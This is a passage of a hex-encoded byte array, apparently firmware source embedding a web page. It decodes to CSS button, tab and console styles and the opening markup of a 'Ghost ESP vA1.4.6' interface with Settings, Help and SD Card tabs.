0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x3A, 0x20, 0x31, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, + 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, + 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, + 0x2A, 0x20, 0x42, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, + 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, + 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, + 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x35, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, + 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, + 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, + 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, + 0x32, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, + 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x32, 0x35, + 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, + 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, + 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, + 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x6D, + 0x6F, 0x6E, 0x6F, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, + 0x77, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x30, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, + 0x3A, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x20, 0x65, + 0x61, 0x73, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, + 0x61, 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, 0x32, 0x70, 0x78, 0x20, + 0x34, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, + 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x32, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2A, 0x20, 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, + 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, + 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x20, 0x61, 0x75, 0x74, + 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, + 0x68, 0x3A, 0x20, 0x31, 0x35, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, + 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x32, + 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, + 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, + 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, + 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, 0x34, 0x70, 0x78, 0x20, 0x38, + 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, + 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, + 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x31, + 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x6D, 0x61, 0x6C, 0x6C, 0x20, + 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x72, 0x69, 0x61, + 0x6E, 0x74, 0x20, 0x2D, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, + 0x65, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x69, 0x6E, 0x67, 0x20, + 0x66, 0x6F, 0x72, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x62, + 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, + 0x6E, 0x2E, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, + 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x20, + 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, + 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x30, 0x2E, 0x39, 0x65, 0x6D, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x77, 0x69, 0x64, + 0x74, 0x68, 0x3A, 0x20, 0x31, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, + 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, + 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, + 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, + 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, + 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x62, 0x75, + 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, + 0x65, 0x72, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x6E, 0x65, 0x65, + 0x64, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x62, 0x75, 0x74, + 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, + 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, + 0x6E, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x73, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, + 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, + 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, + 0x54, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, + 0x73, 0x68, 0x6F, 0x75, 0x6C, 0x64, 0x20, 0x62, 0x65, 0x20, 0x69, 0x6E, + 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x65, 0x71, 0x75, + 0x61, 0x6C, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x20, 0x2A, 0x2F, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, + 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, + 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, + 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, + 0x43, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2F, 0x4F, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x23, 0x63, + 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, + 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, + 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, + 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, + 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, + 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, 0x30, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x66, 0x6C, 0x6F, 0x77, 0x2D, 0x79, + 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, + 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x27, 0x43, + 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, 0x20, 0x4E, 0x65, 0x77, 0x27, 0x2C, + 0x20, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, 0x2C, 0x20, 0x6D, 0x6F, + 0x6E, 0x6F, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x68, + 0x69, 0x74, 0x65, 0x2D, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3A, 0x20, 0x70, + 0x72, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, + 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, + 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, + 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, + 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, + 0x68, 0x65, 0x61, 0x64, 0x3E, 0x0D, 0x0A, 0x3C, 0x62, 0x6F, 0x64, 0x79, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x63, 0x6F, 0x6E, 0x74, 0x61, + 0x69, 0x6E, 0x65, 0x72, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x31, 0x3E, 0x47, 0x68, 0x6F, 0x73, + 0x74, 0x20, 0x45, 0x53, 0x50, 0x20, 0x76, 0x41, 0x31, 0x2E, 0x34, 0x2E, + 0x36, 0x3C, 0x2F, 0x68, 0x31, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x54, 0x61, 0x62, + 0x20, 0x4E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x74, 0x61, 0x62, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, + 0x74, 0x6F, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, + 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x20, 0x61, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, + 0x22, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, 0x76, 0x65, + 0x6E, 0x74, 0x2C, 0x20, 0x27, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, + 0x73, 0x27, 0x29, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x64, 0x65, 0x66, + 0x61, 0x75, 0x6C, 0x74, 0x54, 0x61, 0x62, 0x22, 0x3E, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, + 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x6C, 0x69, + 0x6E, 0x6B, 0x73, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, + 0x3D, 0x22, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, 0x76, + 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x27, 0x48, 0x65, 0x6C, 0x70, 0x27, 0x29, + 0x22, 0x3E, 0x48, 0x65, 0x6C, 0x70, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, + 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x6C, + 0x69, 0x6E, 0x6B, 0x73, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, + 0x6B, 0x3D, 0x22, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, + 0x76, 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x27, 0x53, 0x44, 0x43, 0x61, 0x72, + 0x64, 0x27, 0x29, 0x22, 0x3E, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, + 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x21, 0x2D, 0x2D, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x20, 0x54, 0x61, 0x62, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, + 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x22, 0x20, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, + 0x6E, 0x74, 0x20, 0x73, 0x68, 0x6F, 0x77, 0x22, 0x3E, 0x0D, 